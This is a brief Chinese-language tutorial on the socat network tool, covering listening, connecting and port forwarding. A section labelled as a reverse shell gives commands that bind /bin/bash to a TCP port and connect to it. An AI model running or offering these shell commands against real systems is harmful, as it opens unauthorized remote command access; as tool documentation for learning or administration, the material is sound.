1.原理
socat是强大易用的网络工具,可以实现任意socket的转换。可以看作是 netcat
的增强版
socat 的主要特点就是 在两个数据流之间建立隧道;并且支持众多协议和链接方式:
IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等
2.使用方式
socat [options] <address> <address>
监听
socat TCP-LISTEN:12345 - 开启端口监听
socat tcp:192.168.1.1:12345 - 远程访问目的IP指定端口
反弹shell
socat TCP-LISTEN:12345 EXEC:/bin/bash
socat tcp:192.168.1.1:12345 -
端口转发
将本地 80 端口的流量 转发到远程指定端口,也就是说和目标服务器的指定端口建立一个连接
socat TCP-LISTEN:88,fork TCP:1.15.139.205:8888
echo “test” | socat tcp-connect:127.0.0.1:88 - 向本地指定端口发送信息
请求 --> 本地 88 端口 --> 远程 8888 端口
建立远程端口转发
向本地88端口发送数据,结果目标主机会出现指定信息